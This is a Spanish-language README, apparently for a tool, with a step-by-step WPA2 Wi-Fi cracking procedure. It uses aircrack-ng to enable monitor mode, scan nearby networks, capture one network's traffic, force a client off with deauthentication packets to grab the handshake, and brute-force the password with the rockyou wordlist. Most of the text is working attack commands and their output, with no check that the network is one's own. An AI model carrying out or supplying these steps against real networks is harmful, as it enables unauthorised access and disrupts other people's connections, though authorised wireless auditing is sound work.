

Como utilizar la herramienta

1. Descargar el rockyou en google, el enlace esta en la url de la herrmienta.
2. Crear una carpeta con cualquier nombre en el escritorio, mover el archivo descargado "Rockyou" a esa carpeta del escritorio.
3. Una vez hecho el paso 1 y 2 , ingresamos a la carpeta del escritorio e instalamos el aircrack con el comando **sudo apt install aircrack-ng**.
4. Luego con el comando **iwconfig**, podremos identificar en que modo esta nuestra antena, en este caso de ejemplo se llamara **wlan0** debemos pasarla al modo monitor con el comando **sudo airmon-ng start wlan0**.
5. Para hacer un escaneo de redes cercanas ejecutamos el comando **sudo airodump-ng wlan0**.
6. Nos saldra una lista de redes, pero los datos que necesitamos son el BSSID y el CH.

```
CH 8 ][ Elapsed: 0 s ][ 2024-01-09 15:10
```

BSSID	PWR	Beacons	#Data, #/s	CH	MB	ENC	CIPHER	AUTH	ESSID
40:ED:00:8F:0B:76	-60	3	0 0	2	270	OPN			TP-L
0C:73:29:8B:9B:D1	-63	2	0 0	13	195	WPA2	CCMP	PSK	serc
AC:B6:87:1A:16:6E	-75	3	0 0	6	195	WPA2	CCMP	PSK	Live
86:6B:9A:3B:2F:22	-80	1	1 0	1	720	WPA2	CCMP	PSK	2F20
B0:C2:87:7D:15:6A	-81	2	0 0	1	130	WPA2	CCMP	PSK	Tech
D4:60:E3:EA:59:11	-1	0	5 0	1	-1	WPA			<len
D8:07:B6:9F:3C:5F	-66	2	1 0	1	130	WPA2	CCMP	PSK	voda
E4:AB:89:25:DF:67	-80	3	1 0	1	130	WPA2	CCMP	PSK	MOVI
A4:98:13:A2:BB:66	-61	2	0 0	1	540	WPA2	CCMP	PSK	TELE

BSSID	STATION	PWR	Rate	Lost	Frames	Notes	Pro
-------	---------	-----	------	------	--------	-------	-----

7. Despues de identificar los datos, limpiamos y ejecutamos el comando **sudo airodump-ng -c "CH" --bssid "BSSID" -w auditoria wlan0** , esto le dira al sistema que guarde todos los datos dentro de el archivo auditoria ademas de activar el modo escucha, en el cual solo debemos esperar que un usuario dentro de la red que estamos auditando, ejecute alguna accion para poder decifrar el numero de STATION.

```
CH 12 ][ Elapsed: 0 s ][ 2024-01-09 15:14
```

BSSID	PWR RXQ	Beacons	#Data, #/s	CH	MB	ENC	CIPHER	AUTH	ESSID
78:94:B4:AE:44:53	-35 100	39	0 0	12	130	WPA2	CCMP	PSK	Red_Chingona

BSSID	STATION	PWR	Rate	Lost	Frames	Notes	Probes
-------	---------	-----	------	------	--------	-------	--------

8. Sin cerrar la terminal en modo escucha, abrimos otra terminal dentro de la carpeta del escritorio en la que estamos trabajando y ejecutamos el comando **sudo aireplay-ng -0 9 -a "BSSID" -c "STATION" wlan0** , esto enviara trafico para tirar la estacion y debemos esperar a que aparezca el "HandShake" ese comando podemos ejecutarlo hasta 4 veces hasta que aparezca el "HandShake"

```
CH 12 ][ Elapsed: 4 mins ][ 2024-01-09 15:18 ][ WPA handshake: 78:94:B4:AE:44:53
```

BSSID	PWR RXQ	Beacons	#Data, #/s	CH	MB	ENC	CIPHER	AUTH	ESSID
78:94:B4:AE:44:53	-34 13	2517	18213 27	12	130	WPA2	CCMP	PSK	Red_Chingona

BSSID	STATION	PWR	Rate	Lost	Frames	Notes	Probes
78:94:B4:AE:44:53	BE:14:81:EE:A5:E6	-42	24e- 1e	16803	22811	EAPOL	Red_Chingona

9. El ataque final se ejecuta con el comando **sudo aircrack -b "HANDSHAKE" -w rockyou.txt auditoria-01.cap** , esto debe empezar a decifrar la contraseña.